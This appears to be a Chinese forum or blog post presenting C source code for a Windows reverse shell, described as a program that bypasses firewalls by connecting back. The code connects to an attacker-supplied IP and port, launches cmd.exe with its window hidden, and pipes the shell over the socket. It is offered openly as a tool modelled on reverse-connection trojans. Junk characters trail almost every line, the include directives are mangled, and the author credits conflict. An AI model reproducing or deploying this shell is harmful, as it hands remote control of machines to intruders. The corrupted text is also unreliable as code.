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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _M)J{ {?:  
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/* ============================== w1:%P36H  
Rebound port in Windows NT #m6W7_  
By wind,2006/7 }_,={<g  
===============================*/ L5n/eg:Q  
#include Lj Y@b  
#include <uXQT$@?  
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#pragma comment(lib,"wsock32.lib") uXm}THI  
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void OutputShell(); Xp?WoC N  
SOCKET sClient; ur JR[$p  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; gI{56Z  
Ur,{ZGm  
void main(int argc,char **argv) "VI2--%v3  
{ r [4dGt  
WSADATA stWsaData; ,nGZ( EBD  
int nRet; K'zBDrkW-x  
SOCKADDR_IN stSaiClient,stSaiServer; o)sX?IiC  
3bZ:*6W.6  
if(argc != 3) :IRQouTf:,  
{ TLT6z[  
printf("Useage:\n\rRebound DestIP DestPort\n"); ]>oI3&6s  
return; v])R6-T-  
} JVq`v#8  
XEb+Z7L1  
WSAStartup(MAKEWORD(2,2),&stWsaData); T&u25"QOf  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %R@&8  
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stSaiClient.sin_family = AF_INET; f,:2\b?.  
stSaiClient.sin_port = htons(0); 6'\VPjt  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); wd<jh,Y  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) , %$Cfu  
{ fk'DJf[M  
printf("Bind Socket Failed!\n"); Q|tzA10E  
return; :,pdR>q%(y  
} ku^0bq}BrH  
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stSaiServer.sin_family = AF_INET; )O$T; U  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); NzC&ctPk  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w(UZmZb}  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) KDu~,P]  
{ )( W%Hmi  
printf("Connect Error!"); an,JV0  
return; +{[E Ow  
} Oz4yUR  
OutputShell(); f ( ug3(j  
} =:(<lKf,<F  
nAk;a|Q  
void OutputShell() 0wZAsG"Bg  
{ -|( q 9B  
char szBuff[1024]; Gn>~CoFN  
SECURITY_ATTRIBUTES stSecurityAttributes; '$Fu3%ft  
OSVERSIONINFO stOsversionInfo; :Nl.< 6+  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,N@N4<C]  
STARTUPINFO stStartupInfo; BBHoD:l  
char *szShell; by* v($  
PROCESS_INFORMATION stProcessInformation; G ;  
unsigned long lBytesRead; o{xA{ @<  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); X,ok3c4X  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *%jd>e7d  
stSecurityAttributes.lpSecurityDescriptor = 0; *FC26_pH  
stSecurityAttributes.bInheritHandle = TRUE; EQ2HQz ]  
1SY3  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +Q&CIo  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); RxXiSc`^z  
}`D-]/T8.  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); QR*{}`+l  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^s6C']q *O  
stStartupInfo.wShowWindow = SW_HIDE; % QI6`@Y"  
stStartupInfo.hStdInput = hReadPipe; FXo{|z3  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qY|NA)E)Bp  
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GetVersionEx(&stOsversionInfo); %nT&  
YA*E93J0  
switch(stOsversionInfo.dwPlatformId) 28=L9q   
{ >|_B=<!99W  
case 1: 4 k y/a1y-  
szShell = "command.com"; EV|L~^Q  
break; kd+tD!:F(  
default: *}Nh7 >d(  
szShell = "cmd.exe"; mFJb9 ,  
break; :B1a2Y^"  
} 7oFA5T _  
ah|`),o(k  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); X:d[eAu0  
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send(sClient,szMsg,77,0); <hzuPi@  
while(1) A]AM|2 D  
{ ^5 ~)m6=2  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9Lqo^+0)\  
if(lBytesRead) n%I9l]  
{ ~Pi CA  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?PDrj/: *  
send(sClient,szBuff,lBytesRead,0); X2to](\% X  
} -`d(>ok  
else *D;VZs0O  
{ \aB"D=P\ok  
lBytesRead=recv(sClient,szBuff,1024,0); <n)R?P(or  
if(lBytesRead<=0) break; ]]lM)  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); e3x;(@j  
} 73tWeZ8rvx  
} NK|m7 (  
HQtUNtZ  
return; o!}/& '(  
}
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